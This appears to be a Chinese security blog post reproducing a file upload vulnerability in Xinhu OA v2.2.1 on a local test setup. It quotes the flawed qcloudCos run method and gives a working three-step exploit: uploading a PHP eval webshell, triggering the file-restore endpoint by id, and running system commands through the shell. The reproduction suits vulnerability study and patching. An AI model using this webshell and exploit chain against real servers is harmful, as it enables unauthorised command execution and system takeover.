信呼v2.2.1文件上传漏洞复现
前言:
这个漏洞的复现呢也是借鉴了Y4tacker的博客(地址:https://blog.csdn.net/solitudi/article/details/118675321)
环境配置:
环境:win10
phpamb 下载地址:http://www.rockoa.com/view_phpamb.html
下载phpamb,按照要求安装配置好之后
然后在www文件夹下解压下载的信呼v2.2.1
浏览器访问http://127.0.0.1:829/ 会显示如图
注意安装时的数据库地址为localhost:3307不然会报错,初始密码为空,这里我在配置文件里改成123456了
登录
登录后会强制修改密码,把123456改成其它密码就行了,至此环境配置成功。
找到文件上传点
2.2的文件上传漏洞是存在一个白名单的
漏洞分析:白名单之外的文件后缀会被更改为uptemp后缀,并且拥有一个id属性
上传的文件内容会被base64编码
但是查看webmain\task\runt\qcloudCosAction.php腾讯云存储下的qcloudCosClassAction的run方法
public function runAction()
{
$fileid = (int)$this->getparams('fileid','0'); //文件ID
if($fileid<=0)return 'error fileid';
$frs = m('file')->getone($fileid);
if(!$frs)return 'filers not found';
$filepath = $frs['filepath'];
if(substr($filepath, 0, 4)=='http')return 'filepath is httppath';
if(substr($filepath,-6)=='uptemp'){
$aupath = ROOT_PATH.'/'.$filepath;
$nfilepath = str_replace('.uptemp','.'.$frs['fileext'].'', $filepath);
$content = file_get_contents($aupath);
$this->rock->createtxt($nfilepath, base64_decode($content));
unlink($aupath);
$filepath = $nfilepath;
}
$msg = $this->sendpath($filepath, $frs, 'filepathout');
if($msg)return $msg;
$thumbpath = $frs['thumbpath'];
if(!isempt($thumbpath)){
$msg = $this->sendpath($thumbpath, $frs, 'thumbplat');
if($msg)return $msg;
}
return 'success';
}
把后缀和内容都还原了,那这个漏洞的思路就是,先上传,然后抓包获取上传的webshell的id,再访问如下图网址,更改id,即可还原php文件内容,
第一步:上传抓包,所用的一句话木马:1.php,内容如下:
<?php eval($_GET["1"]);?>
这里会得到两个数据包,在第二个数据包的响应包里能得到我们的id,filecontid=8,就是我们要得到的,并非id
第二步:访问http://127.0.0.1:829/task.php?m=qcloudCos|runt&a=run&fileid=8
即可看到文件路径,并生成同名的php
第三步:直接访问http://127.0.0.1:829/upload/2022-11/08_14565255.php?1=system("whoami");
成功实现命令执行,将whoami换成其它内容执行命令也可